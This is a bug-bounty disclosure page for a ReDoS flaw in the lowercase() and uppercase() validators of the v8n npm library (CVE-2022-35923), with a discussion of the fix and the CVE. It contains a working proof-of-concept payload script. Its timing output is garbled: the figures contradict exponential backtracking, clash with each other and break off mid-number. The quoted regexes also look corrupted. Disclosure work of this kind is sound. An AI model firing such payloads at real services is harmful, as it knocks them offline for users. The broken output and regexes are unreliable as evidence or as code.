

Inefficient Regular Expression Complexity potentially leads to Denial of Service in in imbrn/v8n



Reported on Jun 29th 2022

Description

Inefficient regular expression complexity of `lowercase()` and `uppercase()` regex could lead to a denial of service attack. With a formed payload `'a' + 'a'.repeat(i) + 'A'`, only 32 characters payload could take 29443 ms time execution when testing `lowercase()`. The same issue happens with `uppercase()`.

Proof of Concept

```
// PoC.js
const v8n = require('v8n')

for (var i = 1; i <= 1000; i++) {
  var time = Date.now();
  var attack_str = 'a' + 'a'.repeat(i) + 'A'
  v8n().lowercase().test(attack_str)
  var time_cost = Date.now() - time;
  console.log("attack_str.length: " + attack_str.length + ": " + time_cost)
}
```

Output

```
attack_str.length: 26: 434 ms
attack_str.length: 27: 868 ms
attack_str.length: 28: 1876 ms
attack_str.length: 29: 3641 ms
attack_str.length: 30: 7899 ms
attack_str.length: 31: 15798 ms
attack_str.length: 32: 29443 ms
attack_str.length: 33: 47906 ms
attack_str.length: 34: 71369 ms
attack_str.length: 35: 99832 ms
attack_str.length: 36: 133295 ms
attack_str.length: 37: 171758 ms
attack_str.length: 38: 215221 ms
attack_str.length: 39: 263684 ms
attack_str.length: 40: 317147 ms
attack_str.length: 41: 375610 ms
attack_str.length: 42: 439073 ms
attack_str.length: 43: 507536 ms
attack_str.length: 44: 580999 ms
attack_str.length: 45: 659462 ms
attack_str.length: 46: 742925 ms
attack_str.length: 47: 831388 ms
attack_str.length: 48: 924851 ms
attack_str.length: 49: 1023314 ms
attack_str.length: 50: 1126777 ms
attack_str.length: 51: 1235240 ms
attack_str.length: 52: 1348703 ms
attack_str.length: 53: 1467166 ms
attack_str.length: 54: 1590629 ms
attack_str.length: 55: 1719092 ms
attack_str.length: 56: 1852555 ms
attack_str.length: 57: 1991018 ms
attack_str.length: 58: 2134481 ms
attack_str.length: 59: 2282944 ms
attack_str.length: 60: 2436407 ms
attack_str.length: 61: 2594870 ms
attack_str.length: 62: 2758333 ms
attack_str.length: 63: 2926796 ms
attack_str.length: 64: 3099259 ms
attack_str.length: 65: 3275722 ms
attack_str.length: 66: 3456185 ms
attack_str.length: 67: 3640648 ms
attack_str.length: 68: 3829111 ms
attack_str.length: 69: 4021574 ms
attack_str.length: 70: 4218037 ms
attack_str.length: 71: 4418499 ms
attack_str.length: 72: 4622962 ms
attack_str.length: 73: 4831425 ms
attack_str.length: 74: 5043888 ms
attack_str.length: 75: 5259351 ms
attack_str.length: 76: 5477814 ms
attack_str.length: 77: 5699277 ms
attack_str.length: 78: 5923740 ms
attack_str.length: 79: 6151203 ms
attack_str.length: 80: 6381666 ms
attack_str.length: 81: 6615129 ms
attack_str.length: 82: 6851592 ms
attack_str.length: 83: 7091055 ms
attack_str.length: 84: 7333518 ms
attack_str.length: 85: 7578981 ms
attack_str.length: 86: 7827444 ms
attack_str.length: 87: 8078907 ms
attack_str.length: 88: 8332370 ms
attack_str.length: 89: 8587833 ms
attack_str.length: 90: 8845296 ms
attack_str.length: 91: 9104759 ms
attack_str.length: 92: 9366222 ms
attack_str.length: 93: 9629685 ms
attack_str.length: 94: 9895148 ms
attack_str.length: 95: 10162611 ms
attack_str.length: 96: 10432074 ms
attack_str.length: 97: 10703537 ms
attack_str.length: 98: 10976000 ms
attack_str.length: 99: 11250463 ms
attack_str.length: 100: 11526926 ms
attack_str.length: 101: 11805389 ms
attack_str.length: 102: 12085852 ms
attack_str.length: 103: 12368315 ms
attack_str.length: 104: 12652778 ms
attack_str.length: 105: 12939241 ms
attack_str.length: 106: 13227704 ms
attack_str.length: 107: 13518167 ms
attack_str.length: 108: 13810630 ms
attack_str.length: 109: 14105093 ms
attack_str.length: 110: 14401556 ms
attack_str.length: 111: 14699919 ms
attack_str.length: 112: 14999182 ms
attack_str.length: 113: 15299345 ms
attack_str.length: 114: 15599408 ms
attack_str.length: 115: 15899371 ms
attack_str.length: 116: 16199234 ms
attack_str.length: 117: 16498997 ms
attack_str.length: 118: 16798560 ms
attack_str.length: 119: 17097923 ms
attack_str.length: 120: 17397086 ms
attack_str.length: 121: 17696049 ms
attack_str.length: 122: 17994812 ms
attack_str.length: 123: 18293275 ms
attack_str.length: 124: 18591438 ms
attack_str.length: 125: 18889301 ms
attack_str.length: 126: 19186864 ms
attack_str.length: 127: 19484127 ms
attack_str.length: 128: 19781090 ms
attack_str.length: 129: 20077753 ms
attack_str.length: 130: 20374116 ms
attack_str.length: 131: 20669179 ms
attack_str.length: 132: 20962942 ms
attack_str.length: 133: 21256405 ms
attack_str.length: 134: 21549568 ms
attack_str.length: 135: 21842431 ms
attack_str.length: 136: 22135094 ms
attack_str.length: 137: 22427457 ms
attack_str.length: 138: 22719520 ms
attack_str.length: 139: 23011283 ms
attack_str.length: 140: 23302746 ms
attack_str.length: 141: 23593909 ms
attack_str.length: 142: 23884672 ms
attack_str.length: 143: 24175035 ms
attack_str.length: 144: 24465098 ms
attack_str.length: 145: 24754861 ms
attack_str.length: 146: 25044324 ms
attack_str.length: 147: 25333487 ms
attack_str.length: 148: 25622250 ms
attack_str.length: 149: 25910613 ms
attack_str.length: 150: 26198576 ms
attack_str.length: 151: 26486139 ms
attack_str.length: 152: 26773302 ms
attack_str.length: 153: 27059965 ms
attack_str.length: 154: 27346228 ms
attack_str.length: 155: 27632091 ms
attack_str.length: 156: 27917554 ms
attack_str.length: 157: 28202617 ms
attack_str.length: 158: 28487280 ms
attack_str.length: 159: 28771543 ms
attack_str.length: 160: 29055406 ms
attack_str.length: 161: 29338869 ms
attack_str.length: 162: 29621932 ms
attack_str.length: 163: 29904595 ms
attack_str.length: 164: 30186858 ms
attack_str.length: 165: 30468721 ms
attack_str.length: 166: 30749984 ms
attack_str.length: 167: 31030747 ms
attack_str.length: 168: 31311110 ms
attack_str.length: 169: 31591073 ms
attack_str.length: 170: 31870636 ms
attack_str.length: 171: 32149799 ms
attack_str.length: 172: 32428562 ms
attack_str.length: 173: 32706925 ms
attack_str.length: 174: 32984888 ms
attack_str.length: 175: 33262451 ms
attack_str.length: 176: 33539614 ms
attack_str.length: 177: 33816377 ms
attack_str.length: 178: 34092740 ms
attack_str.length: 179: 34368703 ms
attack_str.length: 180: 34644266 ms
attack_str.length: 181: 34919429 ms
attack_str.length: 182: 35194192 ms
attack_str.length: 183: 35468555 ms
attack_str.length: 184: 35742518 ms
attack_str.length: 185: 36016081 ms
attack_str.length: 186: 36289244 ms
attack_str.length: 187: 36561907 ms
attack_str.length: 188: 36834170 ms
attack_str.length: 189: 37105933 ms
attack_str.length: 190: 37377196 ms
attack_str.length: 191: 37647959 ms
attack_str.length: 192: 37918322 ms
attack_str.length: 193: 38188285 ms
attack_str.length: 194: 38457848 ms
attack_str.length: 195: 38726911 ms
attack_str.length: 196: 38995474 ms
attack_str.length: 197: 39263537 ms
attack_str.length: 198: 39531100 ms
attack_str.length: 199: 39798163 ms
attack_str.length: 200: 40064726 ms
attack_str.length: 201: 40330789 ms
attack_str.length: 202: 40596352 ms
attack_str.length: 203: 40861415 ms
attack_str.length: 204: 41125978 ms
attack_str.length: 205: 41390041 ms
attack_str.length: 206: 41653604 ms
attack_str.length: 207: 41916667 ms
attack_str.length: 208: 42179230 ms
attack_str.length: 209: 42441293 ms
attack_str.length: 210: 42702856 ms
attack_str.length: 211: 42963919 ms
attack_str.length: 212: 43224482 ms
attack_str.length: 213: 43484545 ms
attack_str.length: 214: 43744108 ms
attack_str.length: 215: 44003171 ms
attack_str.length: 216: 44261734 ms
attack_str.length: 217: 44519797 ms
attack_str.length: 218: 44777360 ms
attack_str.length: 219: 45034423 ms
attack_str.length: 220: 45290986 ms
attack_str.length: 221: 45547049 ms
attack_str.length: 222: 45802612 ms
attack_str.length: 223: 46057675 ms
attack_str.length: 224: 46312238 ms
attack_str.length: 225: 46566301 ms
attack_str.length: 226: 46819864 ms
attack_str.length: 227: 47072927 ms
attack_str.length: 228: 47325490 ms
attack_str.length: 229: 47577553 ms
attack_str.length: 230: 47829116 ms
attack_str.length: 231: 48079979 ms
attack_str.length: 232: 48330242 ms
attack_str.length: 233: 48579905 ms
attack_str.length: 234: 48829068 ms
attack_str.length: 235: 49077631 ms
attack_str.length: 236: 49325694 ms
attack_str.length: 237: 49573257 ms
attack_str.length: 238: 49820320 ms
attack_str.length: 239: 50066883 ms
attack_str.length: 240: 50312946 ms
attack_str.length: 241: 50558509 ms
attack_str.length: 242: 50803572 ms
attack_str.length: 243: 51048135 ms
attack_str.length: 244: 51292198 ms
attack_str.length: 245: 51535761 ms
attack_str.length: 246: 51778824 ms
attack_str.length: 247: 52021387 ms
attack_str.length: 248: 52263450 ms
attack_str.length: 249: 52505013 ms
attack_str.length: 250: 52746076 ms
attack_str.length: 251: 52986639 ms
attack_str.length: 252: 53226702 ms
attack_str.length: 253: 53466265 ms
attack_str.length: 254: 53705328 ms
attack_str.length: 255: 53943891 ms
attack_str.length: 256: 54181954 ms
attack_str.length: 257: 54419517 ms
attack_str.length: 258: 54656580 ms
attack_str.length: 259: 54893143 ms
attack_str.length: 260: 55129206 ms
attack_str.length: 261: 55364769 ms
attack_str.length: 262: 55600832 ms
attack_str.length: 263: 55836395 ms
attack_str.length: 264: 56071458 ms
attack_str.length: 265: 56306021 ms
attack_str.length: 266: 56540084 ms
attack_str.length: 267: 56773647 ms
attack_str.length: 268: 57006710 ms
attack_str.length: 269: 57239273 ms
attack_str.length: 270: 57471336 ms
attack_str.length: 271: 57702899 ms
attack_str.length: 272: 57933962 ms
attack_str.length: 273: 58164525 ms
attack_str.length: 274: 58394588 ms
attack_str.length: 275: 58624151 ms
attack_str.length: 276: 58853214 ms
attack_str.length: 277: 59081777 ms
attack_str.length: 278: 59310840 ms
attack_str.length: 279: 59539403 ms
attack_str.length: 280: 59767466 ms
attack_str.length: 281: 59995029 ms
attack_str.length: 282: 60222092 ms
attack_str.length: 283: 60448655 ms
attack_str.length: 284: 60674718 ms
attack_str.length: 285: 60900281 ms
attack_str.length: 286: 61125344 ms
attack_str.length: 287: 61350407 ms
attack_str.length: 288: 61574970 ms
attack_str.length: 289: 61799033 ms
attack_str.length: 290: 62022596 ms
attack_str.length: 291: 62245659 ms
attack_str.length: 292: 62468222 ms
attack_str.length: 293: 62690285 ms
attack_str.length: 294: 62911848 ms
attack_str.length: 295: 63132911 ms
attack_str.length: 296: 63353474 ms
attack_str.length: 297: 63573537 ms
attack_str.length: 298: 63793000 ms
attack_str.length: 299: 64011963 ms
attack_str.length: 300: 64231426 ms
attack_str.length: 301: 64450389 ms
attack_str.length: 302: 64668852 ms
attack_str.length: 303: 64886815 ms
attack_str.length: 304: 65104278 ms
attack_str.length: 305: 65321241 ms
attack_str.length: 306: 65537704 ms
attack_str.length: 307: 65753667 ms
attack_str.length: 308: 65969130 ms
attack_str.length: 309: 66184093 ms
attack_str.length: 310: 66398556 ms
attack_str.length: 311: 66612519 ms
attack_str.length: 312: 66825982 ms
attack_str.length: 313: 67038945 ms
attack_str.length: 314: 67251408 ms
attack_str.length: 315: 67463371 ms
attack_str.length: 316: 67674834 ms
attack_str.length: 317: 67885797 ms
attack_str.length: 318: 68096260 ms
attack_str.length: 319: 68306223 ms
attack_str.length: 320: 68515686 ms
attack_str.length: 321: 68724649 ms
attack_str.length: 322: 68933112 ms
attack_str.length: 323: 69141075 ms
attack_str.length: 324: 69348538 ms
attack_str.length: 325: 69555501 ms
attack_str.length: 326: 69761964 ms
attack_str.length: 327: 69967927 ms
attack_str.length: 328: 70173390 ms
attack_str.length: 329: 70378353 ms
attack_str.length: 330: 70582816 ms
attack_str.length: 331: 70786779 ms
attack_str.length: 332: 70990242 ms
attack_str.length: 333: 71193205 ms
attack_str.length: 334: 71395668 ms
attack_str.length: 335: 71597631 ms
attack_str.length: 336: 71799094 ms
attack_str.length: 337: 72000057 ms
attack_str.length: 338: 72200520 ms
attack_str.length: 339: 72400483 ms
attack_str.length: 340: 72600946 ms
attack_str.length: 341: 72800909 ms
attack_str.length: 342: 73000372 ms
attack_str.length: 343: 73199335 ms
attack_str.length: 344: 73397798 ms
attack_str.length: 345: 73595761 ms
attack_str.length: 346: 73793224 ms
attack_str.length: 347: 73989187 ms
attack_str.length: 348: 74184650 ms
attack_str.length: 349: 74379613 ms
attack_str.length: 350: 74574076 ms
attack_str.length: 351: 74768039 ms
attack_str.length: 352: 74961502 ms
attack_str.length: 353: 75154465 ms
attack_str.length: 354: 75346928 ms
attack_str.length: 355: 75538891 ms
attack_str.length: 356: 75730354 ms
attack_str.length: 357: 75921317 ms
attack_str.length: 358: 76111780 ms
attack_str.length: 359: 76301743 ms
attack_str.length: 360: 76491206 ms
attack_str.length: 361: 76680169 ms
attack_str.length: 362: 76868632 ms
attack_str.length: 363: 77056595 ms
attack_str.length: 364: 77244058 ms
attack_str.length: 365: 77431021 ms
attack_str.length: 366: 77617484 ms
attack_str.length: 367: 77803447 ms
attack_str.length: 368: 77988910 ms
attack_str.length: 369: 78173873 ms
attack_str.length: 370: 78358336 ms
attack_str.length: 371: 78542299 ms
attack_str.length: 372: 78725762 ms
attack_str.length: 373: 78908725 ms
attack_str.length: 374: 79091188 ms
attack_str.length: 375: 79273151 ms
attack_str.length: 376: 79454614 ms
attack_str.length: 377: 79635577 ms
attack_str.length: 378: 79816040 ms
attack_str.length: 379: 79996003 ms
attack_str.length: 380: 80175466 ms
attack_str.length: 381: 80354429 ms
attack_str.length: 382: 80532892 ms
attack_str.length: 383: 80710855 ms
attack_str.length: 384: 80888318 ms
attack_str.length: 385: 81065281 ms
attack_str.length: 386: 81241744 ms
attack_str.length: 387: 81417707 ms
attack_str.length: 388: 81593170 ms
attack_str.length: 389: 81768133 ms
attack_str.length: 390: 81942596 ms
attack_str.length: 391: 82116559 ms
attack_str.length: 392: 82290022 ms
attack_str.length: 393: 82462985 ms
attack_str.length: 394: 82635448 ms
attack_str.length: 395: 82807411 ms
attack_str.length: 396: 82978874 ms
attack_str.length: 397: 83149837 ms
attack_str.length: 398: 83320200 ms
attack_str.length: 399: 83490063 ms
attack_str.length: 400: 83659426 ms
attack_str.length: 401: 83828289 ms
attack_str.length: 402: 83996652 ms
attack_str.length: 403: 84164515 ms
attack_str.length: 404: 84331878 ms
attack_str.length: 405: 84498741 ms
attack_str.length: 406: 84665104 ms
attack_str.length: 407: 84830967 ms
attack_str.length: 408: 84996330 ms
attack_str.length: 409: 85161193 ms
attack_str.length: 410: 85325556 ms
attack_str.length: 411: 85489419 ms
attack_str.length: 412: 85652782 ms
attack_str.length: 413: 85815645 ms
attack_str.length: 414: 85978008 ms
attack_str.length: 415: 86139871 ms
attack_str.length: 416: 86301234 ms
attack_str.length: 417: 86462097 ms
attack_str.length: 418: 86622460 ms
attack_str.length: 419: 86782323 ms
attack_str.length: 420: 86941686 ms
attack_str.length: 421: 87100549 ms
attack_str.length: 422: 87258912 ms
attack_str.length: 423: 87416775 ms
attack_str.length: 424: 87574138 ms
attack_str.length: 425: 87730901 ms
attack_str.length: 426: 87887164 ms
attack_str.length: 427: 88042927 ms
attack_str.length: 428: 88198190 ms
attack_str.length: 429: 88352953 ms
attack_str.length: 430: 88507216 ms
attack_str.length: 431: 88660979 ms
attack_str.length: 432: 88814242 ms
attack_str.length: 433: 88967005 ms
attack_str.length: 434: 89119268 ms
attack_str.length: 435: 89271031 ms
attack_str.length: 436: 89422294 ms
attack_str.length: 437: 89573057 ms
attack_str.length: 438: 89723320 ms
attack_str.length: 439: 89873083 ms
attack_str.length: 440: 90022346 ms
attack_str.length: 441: 90171109 ms
attack_str.length: 442: 90319372 ms
attack_str.length: 443: 90467135 ms
attack_str.length: 444: 90614398 ms
attack_str.length: 445: 90761161 ms
attack_str.length: 446: 90907424 ms
attack_str.length: 447: 91053187 ms
attack_str.length: 448: 91198450 ms
attack_str.length: 449: 91343213 ms
attack_str.length: 450: 91487476 ms
attack_str.length: 451: 91631239 ms
attack_str.length: 452: 91774502 ms
attack_str.length: 453: 91917265 ms
attack_str.length: 454: 92059528 ms
attack_str.length: 455: 92201291 ms
attack_str.length: 456: 92342554 ms
attack_str.length: 457: 92483317 ms
attack_str.length: 458: 92623580 ms
attack_str.length: 459: 92763343 ms
attack_str.length: 460: 92902606 ms
attack_str.length: 461: 93041369 ms
attack_str.length: 462: 93180132 ms
attack_str.length: 463: 93318395 ms
attack_str.length: 464: 93456158 ms
attack_str.length: 465: 93593421 ms
attack_str.length: 466: 93730184 ms
attack_str.length: 467: 93866447 ms
attack_str.length: 468: 94002210 ms
attack_str.length: 469: 94137473 ms
attack_str.length: 470: 94272136 ms
attack_str.length: 471: 94406299 ms
attack_str.length: 472: 94540962 ms
attack_str.length: 473: 94675125 ms
attack_str.length: 474: 94808788 ms
attack_str.length: 475: 94941951 ms
attack_str.length: 476: 95074614 ms
attack_str.length: 477: 95206777 ms
attack_str.length: 478: 95338440 ms
attack_str.length: 479: 95469603 ms
attack_str.length: 480: 95600266 ms
attack_str.length: 481: 95730429 ms
attack_str.length: 482: 95860092 ms
attack_str.length: 483: 95989255 ms
attack_str.length: 484: 96117918 ms
attack_str.length: 485: 96246081 ms
attack_str.length: 486: 96373744 ms
attack_str.length: 487: 96500907 ms
attack_str.length: 488: 96627570 ms
attack_str.length: 489: 96753733 ms
attack_str.length: 490: 96879396 ms
attack_str.length: 491: 97004559 ms
attack_str.length: 492: 97129222 ms
attack_str.length: 493: 97253385 ms
attack_str.length: 494: 97377048 ms
attack_str.length: 495: 97500211 ms
attack_str.length: 496: 97622874 ms
attack_str.length: 497: 97745037 ms
attack_str.length: 498: 97866600 ms
attack_str.length: 499: 97987563 ms
attack_str.length: 500: 98107926 ms
attack_str.length: 501: 98227789 ms
attack_str.length: 502: 98347152 ms
attack_str.length: 503: 98466015 ms
attack_str.length: 504: 98584378 ms
attack_str.length: 505: 98702241 ms
attack_str.length: 506: 98819604 ms
attack_str.length: 507: 98936467 ms
attack_str.length: 508: 99052830 ms
attack_str.length: 509: 99168693 ms
attack_str.length: 510: 99284056 ms
attack_str.length: 511: 99398919 ms
attack_str.length: 512: 99513282 ms
attack_str.length: 513: 99627145 ms
attack_str.length: 514: 99740508 ms
attack_str.length: 515: 99853371 ms
attack_str.length: 516: 99965734 ms
attack_str.length: 517: 100077597 ms
attack_str.length: 518: 100188960 ms
attack_str.length: 519: 100299823 ms
attack_str.length: 520: 100410186 ms
attack_str.length: 521: 100520049 ms
attack_str.length: 522: 100629412 ms
attack_str.length: 523: 100738275 ms
attack_str.length: 524: 100846638 ms
attack_str.length: 525: 100954501 ms
attack_str.length: 526: 101061864 ms
attack_str.length: 527: 101168727 ms
attack_str.length: 528: 101275090 ms
attack_str.length: 529: 101380953 ms
attack_str.length: 530: 101486316 ms
attack_str.length: 531: 101591179 ms
attack_str.length: 532: 101695542 ms
attack_str.length: 533: 101799405 ms
attack_str.length: 534: 101902768 ms
attack_str.length: 535: 102005631 ms
attack_str.length: 536: 102108094 ms
attack_str.length: 537: 102210057 ms
attack_str.length: 538: 102311520 ms
attack_str.length: 539: 102412483 ms
attack_str.length: 540: 102512946 ms
attack_str.length: 541: 102612909 ms
attack_str.length: 542: 102712372 ms
attack_str.length: 543: 102811335 ms
attack_str.length: 544: 102909798 ms
attack_str.length: 545: 103007761 ms
attack_str.length: 546: 103105224 ms
attack_str.length: 547: 103202187 ms
attack_str.length: 548: 103298650 ms
attack_str.length: 549: 103394613 ms
attack_str.length: 550: 103490076 ms
attack_str.length: 551: 103585039 ms
attack_str.length: 552: 103679502 ms
attack_str.length: 553: 103773465 ms
attack_str.length: 554: 103866928 ms
attack_str.length: 555: 103960891 ms
attack_str.length: 556: 104054354 ms
attack_str.length: 557: 104147317 ms
attack_str.length: 558: 104239780 ms
attack_str.length: 559: 104331743 ms
attack_str.length: 560: 104423206 ms
attack_str.length: 561: 104514169 ms
attack_str.length: 562: 104604632 ms
attack_str.length: 563: 104694595 ms
attack_str.length: 564: 104784058 ms
attack_str.length: 565: 104873021 ms
attack_str.length: 566: 104961484 ms
attack_str.length: 567: 105049447 ms
attack_str.length: 568: 105136910 ms
attack_str.length: 569: 105223873 ms
attack_str.length: 570: 105310336 ms
attack_str.length: 571: 105396299 ms
attack_str.length: 572: 105481762 ms
attack_str.length: 573: 105566725 ms
attack_str.length: 574: 105651188 ms
attack_str.length: 575: 105735151 ms
attack_str.length: 576: 105818614 ms
attack_str.length: 577: 105901577 ms
attack_str.length: 578: 105984040 ms
attack_str.length: 579: 106066003 ms
attack_str.length: 580: 106147466 ms
attack_str.length: 581: 106228429 ms
attack_str.length: 582: 106308892 ms
attack_str.length: 583: 106388855 ms
attack_str.length: 584: 106468318 ms
attack_str.length: 585: 106547281 ms
attack_str.length: 586: 106625744 ms
attack_str.length: 587: 106703707 ms
attack_str.length: 588: 106781170 ms
attack_str.length: 589: 106858133 ms
attack_str.length: 590: 106934596 ms
attack_str.length: 591: 107010559 ms
attack_str.length: 592: 107086022 ms
attack_str.length: 593: 107160985 ms
attack_str.length: 594: 107236448 ms
attack_str.length: 595: 107311411 ms
attack_str.length: 596: 107385874 ms
attack_str.length: 597: 107459837 ms
attack_str.length: 598: 107533200 ms
attack_str.length: 599: 107606063 ms
attack_str.length: 600: 107678426 ms
attack_str.length: 601: 107750289 ms
attack_str.length: 602: 107821652 ms
attack_str.length: 603: 107892515 ms
attack_str.length: 604: 107962878 ms
attack_str.length: 605: 108032741 ms
attack_str.length: 606: 108102104 ms
attack_str.length: 607: 108170967 ms
attack_str.length: 608: 108239330 ms
attack_str.length: 609: 108307193 ms
attack_str.length: 610: 108374556 ms
attack_str.length: 611: 108441419 ms
attack_str.length: 612: 108507782 ms
attack_str.length: 613: 108573645 ms
attack_str.length: 614: 108639008 ms
attack_str.length: 615: 108703871 ms
attack_str.length: 616: 108768234 ms
attack_str.length: 617: 108832097 ms
attack_str.length: 618: 108895
```

attack_str.length: 31: 14900 ms
attack_str.length: 32: 29443 ms

Impact

Potentially causes a denial of service attack

Occurrences

JS v8n.js L194

```
uppercase: () => value => /^[A-Z]+\s*]+$/.test(value),
```

JS v8n.js L191

```
lowercase: () => value => /^[a-z]+\s*]+$/.test(value),
```

References

- [Inefficient Regular Expression Complexity potentially leads to Denial of Service in yiminghe/async-validator](#)
- [Regular Expression Denial of Service \(ReDoS\) and Catastrophic Backtracking - Snyk](#)

CVE
CVE-2022-35923
(Published)

Vulnerability Type
CWE-400: Denial of Service

Severity
High (7.5)

Registry
Npm

Chat with us

Affected Version

<=1.5.0

Visibility

Public

Status

Fixed

Found by



Khang Vo (doublevkay)

@vovikhangcdv

master ▼

Fixed by



Khang Vo (doublevkay)

@vovikhangcdv

master ▼

This report was seen 661 times.

We are processing your report and will contact the **imbrn/v8n** team within 24 hours.

5 months ago

Khang Vo (doublevkay) submitted a patch 5 months ago

We created a **GitHub Issue** asking the maintainers to create a **SECURITY.md** 5 months ago

We have contacted a member of the **imbrn/v8n** team and are waiting to hear back 5 months ago

A **imbrn/v8n** maintainer has acknowledged this report 5 months ago

imbrn 5 months ago

Maintainer

Thank you for the report.

The suggested patch by @doublevkay was actually partially correct according to our requirements.

Chat with us

imbrn validated this vulnerability 5 months ago

Khang Vo (doublevkay) has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

imbrn marked this as fixed in 1.5.1 with commit 923938 5 months ago

Khang Vo (doublevkay) has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

v8n.js#L194 has been validated ✓

v8n.js#L191 has been validated ✓

Khang 5 months ago

Researcher

Hey @imbrn @maintainer. Great to see your response.

Could we add a GitHub Security Advisory (GSA) for this vulnerability? It is *a good practice* to publish vulnerabilities and helps users be aware of the issue. As a researcher, being credited on GSA is my pleasure and helps my work too.

imbrn 5 months ago

Maintainer

Hello @vovikhangcdv. For sure! And thank you for the amazing work.

Khang 5 months ago

Researcher

Hey @imbrn, how is it going?

Apologize for annoying you. But in case we misunderstand some things, I want to make clear that adding GHSA is a maintainer's work part. I don't have the authorization to do it either.

imbrn 5 months ago

Hello @vovikhangcdv, I'll do it. No problem. Thank you.

Chat with us

Khang [4 months ago](#)

Researcher

Hi @imbrn, any update for the [Security Advisories](#)?

Khang [4 months ago](#)

Researcher

Hi there, can we assign CVE for this issue? @admin, @maintainer

Jamie Slome [4 months ago](#)

Admin

Happy to assign and publish a CVE.

@imbrn - are you happy for me to assign and publish a CVE for this report?

imbrn [4 months ago](#)

Maintainer

Hi @jamieslome. I requested a CVE in the Github Advisory.
<https://github.com/imbrn/v8n/security/advisories/GHSA-xrx9-gj26-5wx9>

Jamie Slome [4 months ago](#)

Admin

No worries. Once you get the CVE, if you could just ping over the CVE number, I will add it to this report.

Could we also add a reference for this report to the advisory?

Khang [4 months ago](#)

Researcher

Hi @imbrn, Can i be credited in the advisory? I would appreciate it a lot. Thank you!

imbrn [4 months ago](#)

Maintainer

Sure. I'll credit you and also add a reference to this report.

Khang [4 months ago](#)

Chat with us

Thank you, imbrn,
The CVE was assigned, Can you help to update it on this report, @admin?
<https://nvd.nist.gov/vuln/detail/CVE-2022-35923>

Jamie Slome [4 months ago](#)

[Admin](#)

Sorted 👍

Sign in to join this conversation

2022 © 418sec

huntr

[home](#)

[hacktivity](#)

[leaderboard](#)

[FAQ](#)

[contact us](#)

[terms](#)

[privacy policy](#)

part of 418sec

[company](#)

[about](#)

[team](#)

[Chat with us](#)